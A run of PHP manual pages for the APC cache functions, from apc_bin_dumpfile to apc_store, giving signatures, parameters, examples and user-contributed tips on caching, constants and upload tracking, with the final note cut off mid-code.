The format for the $user_vars parameter is array('varname1',..,'varnameN').  The values which are stored come out of the APC data store (not the local variable scope, nor can these be values which are passed into this function).  You must first apc_store() any value you wish to persist with these functions.  Likewise, these variables are restored to the APC data store by apc_bin_load*() rather than the local scope or as a return value in some form.

So if your intent is to store a local variable for later use, first apc_store('varname', $varname) (assuming you have no collisions with other scopes using the same 'varname') before calling apc_bin_dump*().  When restoring, you'll need to do $varname = apc_fetch('varname') after calling apc_bin_load*()


Output a binary dump of cached files and user variables to a file

  • « apc_bin_dump
  • apc_bin_load »
  • PHP Manual
  • APC Functions
  • Output a binary dump of cached files and user variables to a file

apc_bin_dumpfile

(PECL apc >= 3.1.4)

apc_bin_dumpfile — Output a binary dump of cached files and user variables to a file

Description

int apc_bin_dumpfile ( array $files , array $user_vars , string $filename [, int $flags = 0 [, resource $context = NULL ]] )

Outputs a binary dump of the given files and user variables from the APC cache to the named file.

Parameters

files

The file names being dumped.

user_vars

The user variables being dumped.

filename

The filename where the dump is being saved.

flags

Flags passed to the filename stream. See the file_put_contents() documentation for details.

context

The context passed to the filename stream. See the file_put_contents() documentation for details.

Return Values

The number of bytes written to the file, otherwise FALSE if APC is not enabled, filename is an invalid file name, filename can't be opened, the file dump can't be completed (e.g., the hard drive is out of disk space), or an unknown error was encountered.

See Also

  • apc_bin_dump() - Get a binary dump of the given files and user variables
  • apc_bin_load() - Load a binary dump into the APC file/user cache

User Contributed Notes

eric at midkotasolutions dot com 25-Feb-2011 03:50
To prevent losing all of your APC custom user data on an apache restart, use this function along with apc_bin_loadfile to save your APC Memory Data on a restart of apache.

e.g.  Write a php script to dump the file and one to re-load the file.   Call the dump script directly before stopping apache, and then call the reload script directly after starting apache.

<?php
//saveapc
      apc_bin_dumpfile(array(),null,"/path/to/my/file.data");
?>

<?php
//loadapc
     apc_bin_loadfile("/path/to/my/file.data");
?>

#  wget http://www.example.com/saveapc.php
# /etc/init.d/httpd restart
#  wget http://www.example.com/loadapc.php

Particularly useful if you have a custom session handler using APC for storage

Even more handy, update the httpd restart bash script to automatically make these calls for you on a restart


Load a binary dump into the APC file/user cache

  • « apc_bin_dumpfile
  • apc_bin_loadfile »
  • PHP Manual
  • APC Functions
  • Load a binary dump into the APC file/user cache

apc_bin_load

(PECL apc >= 3.1.4)

apc_bin_load — Load a binary dump into the APC file/user cache

Description

bool apc_bin_load ( string $data [, int $flags = 0 ] )

Loads the given binary dump into the APC file/user cache.

Parameters

data

The binary dump being loaded, likely from apc_bin_dump().

flags

Either APC_BIN_VERIFY_CRC32, APC_BIN_VERIFY_MD5, or both.

Return Values

Returns TRUE if the binary dump data was loaded with success, otherwise FALSE is returned. FALSE is returned if APC is not enabled, or if the data is not a valid APC binary dump (e.g., unexpected size).

Examples

Example #1 apc_bin_load() example

<?php
$data = apc_bin_dump(NULL, NULL);
apc_bin_load($data, APC_BIN_VERIFY_MD5 | APC_BIN_VERIFY_CRC32);
?>

See Also

  • apc_bin_dump() - Get a binary dump of the given files and user variables
  • apc_bin_loadfile() - Load a binary dump from a file into the APC file/user cache

User Contributed Notes

There are no user contributed notes for this page.


Load a binary dump from a file into the APC file/user cache

  • « apc_bin_load
  • apc_cache_info »
  • PHP Manual
  • APC Functions
  • Load a binary dump from a file into the APC file/user cache

apc_bin_loadfile

(PECL apc >= 3.1.4)

apc_bin_loadfile — Load a binary dump from a file into the APC file/user cache

Description

bool apc_bin_loadfile ( string $filename [, resource $context = NULL [, int $flags = 0 ]] )

Loads a binary dump from a file into the APC file/user cache.

Parameters

filename

The file name containing the dump, likely from apc_bin_dumpfile().

context

The files context.

flags

Either APC_BIN_VERIFY_CRC32, APC_BIN_VERIFY_MD5, or both.

Return Values

Returns TRUE on success, otherwise FALSE Reasons it may return FALSE include APC is not enabled, filename is an invalid file name or empty, filename can't be opened, the file dump can't be completed, or if the data is not a valid APC binary dump (e.g., unexpected size).

See Also

  • apc_bin_dumpfile() - Output a binary dump of cached files and user variables to a file
  • apc_bin_load() - Load a binary dump into the APC file/user cache

User Contributed Notes

There are no user contributed notes for this page.


Retrieves cached information from APC's data store

  • « apc_bin_loadfile
  • apc_cas »
  • PHP Manual
  • APC Functions
  • Retrieves cached information from APC's data store

apc_cache_info

(PECL apc >= 2.0.0)

apc_cache_info — Retrieves cached information from APC's data store

Description

array apc_cache_info ([ string $cache_type = "" [, bool $limited = false ]] )

Retrieves cached information and meta-data from APC's data store.

Parameters

cache_type

If cache_type is "user", information about the user cache will be returned.

If cache_type is "filehits", information about which files have been served from the bytecode cache for the current request will be returned. This feature must be enabled at compile time using --enable-filehits .

If an invalid or no cache_type is specified, information about the system cache (cached files) will be returned.

limited

If limited is TRUE, the return value will exclude the individual list of cache entries. This is useful when trying to optimize calls for statistics gathering.

Return Values

Array of cached data (and meta-data) or FALSE on failure

Note: apc_cache_info() will raise a warning if it is unable to retrieve APC cache data. This typically occurs when APC is not enabled.

Changelog

Version | Description
3.0.11 | The limited parameter was introduced.
3.0.16 | The "filehits" option for the cache_type parameter was introduced.

Examples

Example #1 A apc_cache_info() example

<?php
print_r(apc_cache_info());
?>

The above example will output something similar to:

Array
(
    [num_slots] => 2000
    [ttl] => 0
    [num_hits] => 9
    [num_misses] => 3
    [start_time] => 1123958803
    [cache_list] => Array
        (
            [0] => Array
                (
                    [filename] => /path/to/apc_test.php
                    [device] => 29954
                    [inode] => 1130511
                    [type] => file
                    [num_hits] => 1
                    [mtime] => 1123960686
                    [creation_time] => 1123960696
                    [deletion_time] => 0
                    [access_time] => 1123962864
                    [ref_count] => 1
                    [mem_size] => 677
                )
            [1] => Array (...iterates for each cached file)
)

See Also

  • APC configuration directives
  • APCIterator::getTotalSize() - Get total cache size
  • APCIterator::getTotalHits() - Get total cache hits
  • APCIterator::getTotalCount() - Get total count

User Contributed Notes

There are no user contributed notes for this page.


Updates an old value with a new value

  • « apc_cache_info
  • apc_clear_cache »
  • PHP Manual
  • APC Functions
  • Updates an old value with a new value

apc_cas

(PECL apc >= 3.1.1)

apc_cas — Updates an old value with a new value

Description

bool apc_cas ( string $key , int $old , int $new )

apc_cas() updates an already existing integer value if the old parameter matches the currently stored value with the value of the new parameter.

Parameters

key

The key of the value being updated.

old

The old value (the value currently stored).

new

The new value to update to.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 apc_cas() example

<?php
apc_store('foobar', 2);
echo '$foobar = 2', PHP_EOL;
echo '$foobar == 1 ? 2 : 1 = ', (apc_cas('foobar', 1, 2) ? 'ok' : 'fail'), PHP_EOL;
echo '$foobar == 2 ? 1 : 2 = ', (apc_cas('foobar', 2, 1) ? 'ok' : 'fail'), PHP_EOL;

echo '$foobar = ', apc_fetch('foobar'), PHP_EOL;

echo '$f__bar == 1 ? 2 : 1 = ', (apc_cas('f__bar', 1, 2) ? 'ok' : 'fail'), PHP_EOL;

apc_store('perfection', 'xyz');
echo '$perfection == 2 ? 1 : 2 = ', (apc_cas('perfection', 2, 1) ? 'ok' : 'epic fail'), PHP_EOL;

echo '$foobar = ', apc_fetch('foobar'), PHP_EOL;
?>

The above example will output something similar to:

$foobar = 2
$foobar == 1 ? 2 : 1 = fail
$foobar == 2 ? 1 : 2 = ok
$foobar = 1
$f__bar == 1 ? 2 : 1 = fail
$perfection == 2 ? 1 : 2 = epic fail
$foobar = 1

See Also

  • apc_dec() - Decrease a stored number
  • apc_store() - Cache a variable in the data store

User Contributed Notes

Piet Delport 09-Mar-2011 09:25
In case anyone is puzzled by the function name, "cas" refers to http://en.wikipedia.org/wiki/Compare-and-swap


Clears the APC cache

  • « apc_cas
  • apc_compile_file »
  • PHP Manual
  • APC Functions
  • Clears the APC cache

apc_clear_cache

(PECL apc >= 2.0.0)

apc_clear_cache — Clears the APC cache

Description

bool apc_clear_cache ([ string $cache_type = "" ] )

Clears the user/system cache.

Parameters

cache_type

If cache_type is "user", the user cache will be cleared; otherwise, the system cache (cached files) will be cleared.

Return Values

Returns TRUE always

See Also

  • apc_cache_info() - Retrieves cached information from APC's data store

User Contributed Notes

anthon at piwik dot org 06-Mar-2014 02:29
With the apcu extension, apc_clear_cache() may not expect any parameters.  (It depends on a compile-time flag, APC_FULL_BC.)
info at rjs dot in 07-Aug-2012 10:31
If this function is run from the CLI it will clear the command line cache only.

To clear the http cache you need to put this in a PHP script and run it via a http:// URL.
anthon at piwik dot org 01-Mar-2012 10:41
Looking at the APC source, apc_clear_cache() only recognizes "user" as a cache_type.  If cache_type is omitted, or any other string (including "opcode") is provided, the effect is to clear the system cache.


Stores a file in the bytecode cache, bypassing all filters.

  • « apc_clear_cache
  • apc_dec »
  • PHP Manual
  • APC Functions
  • Stores a file in the bytecode cache, bypassing all filters.

apc_compile_file

(PECL apc >= 3.0.13)

apc_compile_file — Stores a file in the bytecode cache, bypassing all filters.

Description

mixed apc_compile_file ( string $filename [, bool $atomic = true ] )

Stores a file in the bytecode cache, bypassing all filters.

Parameters

filename

Full or relative path to a PHP file that will be compiled and stored in the bytecode cache.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • apc_bin_dumpfile() - Output a binary dump of cached files and user variables to a file
  • apc_bin_loadfile() - Load a binary dump from a file into the APC file/user cache

User Contributed Notes

Glen 31-Mar-2009 11:44
There are reasons to use this routine.  I can think of two:

- a busy website will have multiple web servers, and before one is brought online (via load balancer), the cache is built.  This prevents problems of having too many cache misses in a short period on your entire code base, which could be massive, and cause problems.

- a website where the apc.stat flag is set to zero.  That setting provides significant performance savings because no 'stat' needs to be performed on PHP code files.  But they are not automatically rebuilt when changed.  So what do you do when your code changes?  Restart Apache, or manually clearing the APC cache with apc_clear_cache() - but both will clear the entire cache.  There may be cases where it is much better to recompile select files instead.  Some sites store data (that rarely changes) in PHP code to make good use of the opcode cache, updating that file and selectively compiling it would make writes efficient too.
Andrea Giammarchi 15-Feb-2008 04:40
This is a simple way to cache a project entirely.

<?php // apc_compile_dir.php
function apc_compile_dir($root, $recursively = true){
    $compiled   = true;
    switch($recursively){
        case    true:
            foreach(glob($root.DIRECTORY_SEPARATOR.'*', GLOB_ONLYDIR) as $dir)
                $compiled   = $compiled && apc_compile_dir($dir, $recursively);
        case    false:
            foreach(glob($root.DIRECTORY_SEPARATOR.'*.php') as $file)
                $compiled   = $compiled && apc_compile_file($file);
            break;
    }
    return  $compiled;
}
?>

This is an example on how to use the function to compile your project.
<?php
echo    '<pre>'.PHP_EOL;
if(function_exists('apc_compile_file')){
    define('APC_CLEAR_CACHE',           true);
    define('APC_COMPILE_RECURSIVELY',   true);
    define('APC_COMPILE_DIR',           '.');
    require 'apc_compile_dir.php';
    echo    'APC Directory Compiler '.gmdate('Y-m-d H:i:s').PHP_EOL;
    echo    PHP_EOL.'-------------------------'.PHP_EOL;
    if(APC_CLEAR_CACHE){
        echo    (apc_clear_cache() ? 'Cache Cleaned' : 'Cache Not Cleaned').PHP_EOL;
        var_dump(apc_cache_info());
        echo    PHP_EOL.'-------------------------'.PHP_EOL;
    }
    echo    'Runtime Errors'.PHP_EOL;
    echo    (apc_compile_dir(APC_COMPILE_DIR, APC_COMPILE_RECURSIVELY) ? 'Cache Created' : 'Cache Not Created').PHP_EOL;
    echo    PHP_EOL.'-------------------------'.PHP_EOL;
    var_dump(apc_cache_info());
}
else
    echo    'APC is not present, nothing to do.'.PHP_EOL;
echo    '</pre>';
?>


Decrease a stored number

  • « apc_compile_file
  • apc_define_constants »
  • PHP Manual
  • APC Functions
  • Decrease a stored number

apc_dec

(PECL apc >= 3.1.1)

apc_dec — Decrease a stored number

Description

int apc_dec ( string $key [, int $step = 1 [, bool &$success ]] )

Decreases a stored integer value.

Parameters

key

The key of the value being decreased.

step

The step, or value to decrease.

success

Optionally pass the success or fail boolean value to this referenced variable.

Return Values

Returns the current value of key's value on success, or FALSE on failure

Examples

Example #1 apc_dec() example

<?php
echo "Let's do something with success", PHP_EOL;

apc_store('anumber', 42);

echo apc_fetch('anumber'), PHP_EOL;

echo apc_dec('anumber'), PHP_EOL;
echo apc_dec('anumber', 10), PHP_EOL;
echo apc_dec('anumber', 10, $success), PHP_EOL;

var_dump($success);

echo "Now, let's fail", PHP_EOL, PHP_EOL;

apc_store('astring', 'foo');

$ret = apc_dec('astring', 1, $fail);

var_dump($ret);
var_dump($fail);
?>

The above example will output something similar to:

Let's do something with success
42
41
31
21
bool(true)

Now, let's fail
bool(false)
bool(false)

See Also

  • apc_inc() - Increase a stored number

User Contributed Notes

elfi47 21-Oct-2012 01:32
check for errors with === FALSE or === 0

dec() will increase to 3, 2, 1, 0, -1, -2, -3....

if you check with == FALSE you will get an wrong FALSE result if the variable is on 0.


Defines a set of constants for retrieval and mass-definition

  • « apc_dec
  • apc_delete_file »
  • PHP Manual
  • APC Functions
  • Defines a set of constants for retrieval and mass-definition

apc_define_constants

(PECL apc >= 3.0.0)

apc_define_constants — Defines a set of constants for retrieval and mass-definition

Description

bool apc_define_constants ( string $key , array $constants [, bool $case_sensitive = true ] )

define() is notoriously slow. Since the main benefit of APC is to increase the performance of scripts/applications, this mechanism is provided to streamline the process of mass constant definition. However, this function does not perform as well as anticipated.

For a better-performing solution, try the » hidef extension from PECL.

Note: To remove a set of stored constants (without clearing the entire cache), an empty array may be passed as the constants parameter, effectively clearing the stored value(s).

Parameters

key

The key serves as the name of the constant set being stored. This key is used to retrieve the stored constants in apc_load_constants().

constants

An associative array of constant_name => value pairs. The constant_name must follow the normal constant naming rules. value must evaluate to a scalar value.

case_sensitive

The default behaviour for constants is to be declared case-sensitive; i.e. CONSTANT and Constant represent different values. If this parameter evaluates to FALSE the constants will be declared as case-insensitive symbols.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 apc_define_constants() example

<?php
$constants = array(
    'ONE'   => 1,
    'TWO'   => 2,
    'THREE' => 3,
);
apc_define_constants('numbers', $constants);
echo ONE, TWO, THREE;
?>

The above example will output:

123

See Also

  • apc_load_constants() - Loads a set of constants from the cache
  • define() - Defines a named constant
  • constant() - Returns the value of a constant
  • Or the PHP constants reference

User Contributed Notes

jmucchiello AT yahoooooooo DOT com 29-Jun-2010 03:13
It doesn't introduce much overhead if you make use of conditional function definitions:

<?php
if (function_exists('apc_load_constants')) {
    function define_array($key, $arr, $case_sensitive = true)
    {
        if (!apc_load_constants($key, $case_sensitive)) {
            apc_define_constants($key, $arr, $case_sensitive);
        }
    }
} else {
    function define_array($key, $arr, $case_sensitive = true)
    {
        foreach ($arr as $name => $value)
            define($name, $value, $case_sensitive);
    }
}

//in your code you just write something like this:

define_array('NUMBERS', Array('ONE' => 1, 'TWO' => 2, 'THREE' => 3));
?>
webmaster at thedigitalorchard dot ca 26-Apr-2010 03:06
An observation that I've made is that the nature of apc_define_constants() binding the list of constants to a key and then requiring that key to load the constants is limiting. Furthermore, there's no way to append additional constants to a given key.

A solution that I've been adopting is to build a list of constants to be defined, and then do one of two things:

1) if APC is enabled, then use apc_define_constants();
2) ...else loop through the list and define each constant normally.

The problem I've run into is when this process happens at different places in a large application, it can introduce overhead that otherwise wouldn't be there if it was possible to append to an existing list of defined constants in APC.


Deletes files from the opcode cache

  • « apc_define_constants
  • apc_delete »
  • PHP Manual
  • APC Functions
  • Deletes files from the opcode cache

apc_delete_file

(PECL apc >= 3.1.1)

apc_delete_file — Deletes files from the opcode cache

Description

mixed apc_delete_file ( mixed $keys )

Deletes the given files from the opcode cache.

Parameters

keys

The files to be deleted. Accepts a string, array of strings, or an APCIterator object.

Return Values

Returns TRUE on success or FALSE on failure. Or if keys is an array, then an empty array is returned on success, or an array of failed files is returned.

Examples

Example #1 apc_delete_file() example

<?php
$filename = 'file.php';

if (apc_compile_file($filename)) {

    if (apc_delete_file($filename)) {
        echo "Successfully deleted file $filename from APC cache.", PHP_EOL;
    }
}

if (apc_compile_file($filename)) {

    if ($good = apc_delete_file(array($filename, 'donotexist.php'))) {
        var_dump($good);
    }
}

$bad = apc_delete_file('donotexist.php');
var_dump($bad);
?>

The above example will output something similar to:

Successfully deleted file file.php from APC cache.
[Mon May 24 09:30:33 2010] [apc-warning] Could not stat file donotexist.php, unable to delete from cache. in /tmp/test.php on line 13.
array(1) {
  [0]=>
  string(14) "donotexist.php"
}
[Mon May 24 09:30:33 2010] [apc-warning] Could not stat file donotexist.php, unable to delete from cache. in /tmp/test.php on line 18.
bool(false)

See Also

  • apc_clear_cache() - Clears the APC cache
  • apc_delete() - Removes a stored variable from the cache
  • apc_exists() - Checks if APC key exists

User Contributed Notes

There are no user contributed notes for this page.


Removes a stored variable from the cache

  • « apc_delete_file
  • apc_exists »
  • PHP Manual
  • APC Functions
  • Removes a stored variable from the cache

apc_delete

(PECL apc >= 3.0.0)

apc_delete — Removes a stored variable from the cache

Description

mixed apc_delete ( string $key )

Removes a stored variable from the cache.

Parameters

key

The key used to store the value (with apc_store()).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A apc_delete() example

<?php
$bar = 'BAR';
apc_store('foo', $bar);
apc_delete('foo');
// this is obviously useless in this form
?>

See Also

  • apc_store() - Cache a variable in the data store
  • apc_fetch() - Fetch a stored variable from the cache

User Contributed Notes

J Fox 11-Jan-2011 06:25
Contrary to what's documented here - apc_delete also accepts and array of keys or even an APCIterator object, making batch operations a breeze (tested in version 3.1.3p1):

<?php

function showCache() {
    $cachedKeys = new APCIterator('user', '/^MY_APC/', APC_ITER_VALUE);

    echo "\nkeys in cache\n-------------\n";
    foreach ($cachedKeys AS $key => $value) {
        echo $key . "\n";
    }
    echo "-------------\n";
}

apc_add('MY_APC_TESTA_1','1');
apc_add('MY_APC_TESTA_2','2');
apc_add('MY_APC_TESTA_3','3');
apc_add('MY_APC_TESTB_4','4');
apc_add('MY_APC_TESTB_5','5');
apc_add('MY_APC_TESTB_6','6');

showCache();

/* outputs:

keys in cache
-------------
MY_APC_TESTB_4
MY_APC_TESTB_5
MY_APC_TESTB_6
MY_APC_TESTA_1
MY_APC_TESTA_2
MY_APC_TESTA_3
-------------
*/

// delete all keys beginning with a regex match on MY_APC_TESTA
$toDelete = new APCIterator('user', '/^MY_APC_TESTA/', APC_ITER_VALUE);

var_dump( apc_delete($toDelete) );
// returns boolean true|false on success or failure

showCache();

/* outputs:

boolean true

keys in cache
-------------
MY_APC_TESTB_4
MY_APC_TESTB_5
MY_APC_TESTB_6
-------------
*/

// explicitly delete an array of keys
var_dump( apc_delete( array('MY_APC_TESTB_4','MY_APC_TESTB_5','MY_APC_NOT_EXISTS')) );
// returns an array of keys that where not found/removed from the cache

showCache();

/* outputs:

array
  0 => string 'MY_APC_NOT_EXISTS' (length=17)

keys in cache
-------------
MY_APC_TESTB_6
-------------
*/

// delete a single key
var_dump( apc_delete('MY_APC_TESTB_6') );
// returns boolean true|false on success or failure

showCache();

/* outputs:

boolean true

keys in cache
-------------
-------------
*/
?>
dave1010 at gmail dot com 03-Jun-2010 03:26
To clear out the whole APC user cache:

<?php
$info = apc_cache_info("user");
foreach ($info['cache_list'] as $obj) {
    apc_delete($obj['info']);
    print 'Deleted: ' . $obj['info'] . PHP_EOL;
}
?>


Checks if APC key exists

  • « apc_delete
  • apc_fetch »
  • PHP Manual
  • APC Functions
  • Checks if APC key exists

apc_exists

(PECL apc >= 3.1.4)

apc_exists — Checks if APC key exists

Description

mixed apc_exists ( mixed $keys )

Checks if one or more APC keys exist.

Parameters

keys

A string, or an array of strings, that contain keys.

Return Values

Returns TRUE if the key exists, otherwise FALSE Or if an array was passed to keys, then an array is returned that contains all existing keys, or an empty array if none exist.

Examples

Example #1 apc_exists() example

<?php
$fruit  = 'apple';
$veggie = 'carrot';

apc_store('foo', $fruit);
apc_store('bar', $veggie);

if (apc_exists('foo')) {
    echo "Foo exists: ";
    echo apc_fetch('foo');
} else {
    echo "Foo does not exist";
}

echo PHP_EOL;
if (apc_exists('baz')) {
    echo "Baz exists.";
} else {
    echo "Baz does not exist";
}

echo PHP_EOL;

$ret = apc_exists(array('foo', 'donotexist', 'bar'));
var_dump($ret);

?>

The above example will output something similar to:

Foo exists: apple
Baz does not exist
array(2) {
  ["foo"]=>
  bool(true)
  ["bar"]=>
  bool(true)
}

See Also

  • apc_cache_info() - Retrieves cached information from APC's data store
  • apc_fetch() - Fetch a stored variable from the cache

User Contributed Notes

FiFFiO 24-May-2012 05:13
apc_exists declaration if your PECL apc version is less than 3.1.4:

<?php
if(!function_exists('apc_exists'))
    {
    function apc_exists($keys)
        {
        $result;
        apc_fetch($keys, $result);
        return $result;
        }
    }
?>


Fetch a stored variable from the cache

  • « apc_exists
  • apc_inc »
  • PHP Manual
  • APC Functions
  • Fetch a stored variable from the cache

apc_fetch

(PECL apc >= 3.0.0)

apc_fetch — Fetch a stored variable from the cache

Description

mixed apc_fetch ( mixed $key [, bool &$success ] )

Fetchs a stored variable from the cache.

Parameters

key

The key used to store the value (with apc_store()). If an array is passed then each element is fetched and returned.

success

Set to TRUE in success and FALSE in failure.

Return Values

The stored variable or array of variables on success; FALSE on failure

Examples

Example #1 A apc_fetch() example

<?php
$bar = 'BAR';
apc_store('foo', $bar);
var_dump(apc_fetch('foo'));
?>

The above example will output:

string(3) "BAR"

Changelog

Version | Description
3.0.17 | The success parameter was added.

See Also

  • apc_store() - Cache a variable in the data store
  • apc_delete() - Removes a stored variable from the cache
  • APCIterator

User Contributed Notes

anomann 01-Oct-2014 01:04
hint for your fail over:

"return FALSE on failure" means NOT, it returns FALSE on APC-error.
it return FALSE if
- key doesnt exists
- value === FALSE
- APC error

even with $success you cant determine if its a APC-error. this is only for key exists / key doesnt exists things.
aktharmiah at gmail dot com 09-Jan-2014 06:34
Note apc_fetch() will return a copy of whatever is stored in the memory and not a reference to it.

For example:

<?php

    class foo{
        public $bar;
    }

    apc_add("foo",  new foo());

    $fooGot    =    apc_fetch("foo");
    $fooGot->bar = 1234;

    print_r(apc_fetch("foo"));
?>

will print

foo Object ( [bar] => )
Mahn 27-Sep-2012 03:30
Make sure to check the return value using a strict comparison if you want to know whether apc_fetch failed unless you want anything stored that can be evaluated to false to report an error aswell.

E.g. the following is bad:

<?php

    $result = apc_fetch("key");

    if(!$result) {
        //handle error
    }

?>

If key is an empty array or the value 0, it will naturally evaluate to false and trigger the error. To avoid this, do instead:

<?php

    $result = apc_fetch("key");

    if($result === false) {
        //handle error
    }

?>

Side note: avoid storing booleans in APC :)
zim32 at ukr dot net 21-Jul-2012 08:03
I dont know is it a bug or feature but...
After apc_fetch and/or apc_store arrays loose their cursor

<?php
$array = array('foo',2,3,4,5);
var_dump(current($array)); //foo
apc_store('foo',$array);
$array2 = apc_fetch('foo');
var_dump(current($array2)); //false
?>
Anonymous 31-Oct-2011 08:15
Note that the APC cache accessible from PHP running through Apache is not accessible from CLI-PHP (the commandline PHP version). They are 2 different APC caches.

If you are trying for example to run a script from cron that needs to access the same APC cache as your scripts (executed through Apache) with PHP CLI, use file_get_contents to execute the real script or to send over the data.
Doing so executes the script on Apache.
You can also specify a return value in order to move data around.

<?PHP
file_get_contents('http://localhost/actual_processing_script.php');
?>
myfirstnameattimronayne.com 18-May-2010 02:46
Another reason you might be getting null back from apc_fetch when using apc.rfc1867 is if you have only turned this option on using php_admin_value for a virtual host. It needs to be turned on globally in php.ini to work.
chris at active9 dot com 07-Jul-2009 09:00
Anyone who has enabled apc.rfc1867 for a file upload progress bar. Please note that if you are not getting any results back or a Null() data set. Then set apc.rfc1867_freq to 10k or 100k or whatever you see fit like this.

apc.rfc1867_freq = 10k

In your php.ini.

Hope this helps some of you who were getting blank data results. It seems the 0 default setting will not work on some machines. Hope this helps!
marcus at synchromedia dot co dot uk 03-May-2008 06:54
Just to clarify the multi-get capability, the result is returned as an array with cache keys as the array keys. Any missing values re not returned, for example:

<?php
apc_delete('test1');
apc_delete('test2');
apc_add('test1', 'test1');
$cached = apc_fetch(array('test1', 'test2'));
var_dump($cached);
?>

gives

array(1) {
  ["test1"]=>
  string(5) "test1"
}

If no keys are found, you get an empty array.
nospam dot list at unclassified dot de 21-Nov-2007 12:06
This function is often cited related to file upload tracking with PHP 5.2. So I thought this is a good place to put a warning.

If you setup PHP with FastCGI, you'll probably run into trouble using this function to get any information about a running upload. At least in my case, every HTTP request is handled by a different PHP process. I could track it with the getmypid() function, which returned a different value upon every request, but only from a limited set. Also, apc_cache_info() gave me all upload_* entries that were created in that process. So when the upload was initially catched by one PHP process, all progress updates must be fetched from the same process, too, because APC cache information does not seem to be shared across multiple processes handling that domain/virtual host. But that's impossible to tell because PHP has its own load management and serves every request by an arbitrary process.

So in short: When using FastCGI and multiple PHP processes (recommended for performance reasons), you cannot use APC upload tracking. You'll only get a status update every few requests.
thijsterlouw at gmail dot com_remove_this 28-Feb-2007 10:31
As of version 3.0.13 APC (released 2007-02-24) you can perform multiple key fetches with apc_fetch. Very useful to further optimize your application!
APC changelog:
http://pecl.php.net/package-changelog.php?package=APC

example:

<?php
apc_store('key1', 'value1');
apc_store('key2', 'value2');

$keys = array('key1','key2');
$result = apc_fetch($keys);  //fetch multiple keys at once!

var_dump($result);
?>


Increase a stored number

  • « apc_fetch
  • apc_load_constants »
  • PHP Manual
  • APC Functions
  • Increase a stored number

apc_inc

(PECL apc >= 3.1.1)

apc_inc — Increase a stored number

Description

int apc_inc ( string $key [, int $step = 1 [, bool &$success ]] )

Increases a stored number.

Parameters

key

The key of the value being increased.

step

The step, or value to increase.

success

Optionally pass the success or fail boolean value to this referenced variable.

Return Values

Returns the current value of key's value on success, or FALSE on failure

Examples

Example #1 apc_inc() example

<?php
echo "Let's do something with success", PHP_EOL;

apc_store('anumber', 42);

echo apc_fetch('anumber'), PHP_EOL;

echo apc_inc('anumber'), PHP_EOL;
echo apc_inc('anumber', 10), PHP_EOL;
echo apc_inc('anumber', 10, $success), PHP_EOL;

var_dump($success);

echo "Now, let's fail", PHP_EOL, PHP_EOL;

apc_store('astring', 'foo');

$ret = apc_inc('astring', 1, $fail);

var_dump($ret);
var_dump($fail);
?>

The above example will output something similar to:

42
43
53
63
bool(true)
Now, let's fail

bool(false)
bool(false)

See Also

  • apc_dec() - Decrease a stored number

User Contributed Notes

There are no user contributed notes for this page.


Loads a set of constants from the cache

  • « apc_inc
  • apc_sma_info »
  • PHP Manual
  • APC Functions
  • Loads a set of constants from the cache

apc_load_constants

(PECL apc >= 3.0.0)

apc_load_constants — Loads a set of constants from the cache

Description

bool apc_load_constants ( string $key [, bool $case_sensitive = true ] )

Loads a set of constants from the cache.

Parameters

key

The name of the constant set (that was stored with apc_define_constants()) to be retrieved.

case_sensitive

The default behaviour for constants is to be declared case-sensitive; i.e. CONSTANT and Constant represent different values. If this parameter evaluates to FALSE the constants will be declared as case-insensitive symbols.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 apc_load_constants() example

<?php
$constants = array(
    'ONE'   => 1,
    'TWO'   => 2,
    'THREE' => 3,
);
apc_define_constants('numbers', $constants);
apc_load_constants('numbers');
echo ONE, TWO, THREE;
?>

The above example will output:

123

See Also

  • apc_define_constants() - Defines a set of constants for retrieval and mass-definition
  • define() - Defines a named constant
  • constant() - Returns the value of a constant
  • Or the PHP constants reference

User Contributed Notes

webmaster at thedigitalorchard dot ca 26-Apr-2010 02:41
There doesn't seem to be a way to store constants that have already been defined. This function, apc_define_constants(), does both things: (1) defines a constant, and (2) stores the constant in the cache. This is unfortunate, since it introduces the requirement to handle constant definitions differently when APC is not available.

(If this function had a "$do_not_define" parameter, or the like, that would give it more flexibility. I suppose filing a bug report would be a step in the right direction to getting this idea considered.)


Retrieves APC's Shared Memory Allocation information

  • « apc_load_constants
  • apc_store »
  • PHP Manual
  • APC Functions
  • Retrieves APC's Shared Memory Allocation information

apc_sma_info

(PECL apc >= 2.0.0)

apc_sma_info — Retrieves APC's Shared Memory Allocation information

Description

array apc_sma_info ([ bool $limited = false ] )

Retrieves APC's Shared Memory Allocation information.

Parameters

limited

When set to FALSE (default) apc_sma_info() will return a detailed information about each segment.

Return Values

Array of Shared Memory Allocation data; FALSE on failure.

Examples

Example #1 A apc_sma_info() example

<?php
print_r(apc_sma_info());
?>

The above example will output something similar to:

Array
(
    [num_seg] => 1
    [seg_size] => 31457280
    [avail_mem] => 31448408
    [block_lists] => Array
        (
            [0] => Array
                (
                    [0] => Array
                        (
                            [size] => 31448408
                            [offset] => 8864
                        )

                )

        )

)

See Also

  • APC configuration directives

User Contributed Notes

There are no user contributed notes for this page.


Cache a variable in the data store

  • « apc_sma_info
  • APCIterator »
  • PHP Manual
  • APC Functions
  • Cache a variable in the data store

apc_store

(PECL apc >= 3.0.0)

apc_store — Cache a variable in the data store

Description

bool apc_store ( string $key , mixed $var [, int $ttl = 0 ] )
array apc_store ( array $values [, mixed $unused = NULL [, int $ttl = 0 ]] )

Cache a variable in the data store.

Note: Unlike many other mechanisms in PHP, variables stored using apc_store() will persist between requests (until the value is removed from the cache).

Parameters

key

Store the variable using this name. keys are cache-unique, so storing a second value with the same key will overwrite the original value.

var

The variable to store

ttl

Time To Live; store var in the cache for ttl seconds. After the ttl has passed, the stored variable will be expunged from the cache (on the next request). If no ttl is supplied (or if the ttl is 0), the value will persist until it is removed from the cache manually, or otherwise fails to exist in the cache (clear, restart, etc.).

values

Names in key, variables in value.

Return Values

Returns TRUE on success or FALSE on failure. Second syntax returns array with error keys.

Examples

Example #1 A apc_store() example

<?php
$bar = 'BAR';
apc_store('foo', $bar);
var_dump(apc_fetch('foo'));
?>

The above example will output:

string(3) "BAR"

See Also

  • apc_add() - Cache a new variable in the data store
  • apc_fetch() - Fetch a stored variable from the cache
  • apc_delete() - Removes a stored variable from the cache

User Contributed Notes

brunohass2303 at gmail dot com 06-Jun-2013 03:10
Functions to update arrays and get the values from an unique key.

<?php

function apc_array_store($apc_var, $key, $valor)
{
    $apcTemp = array();

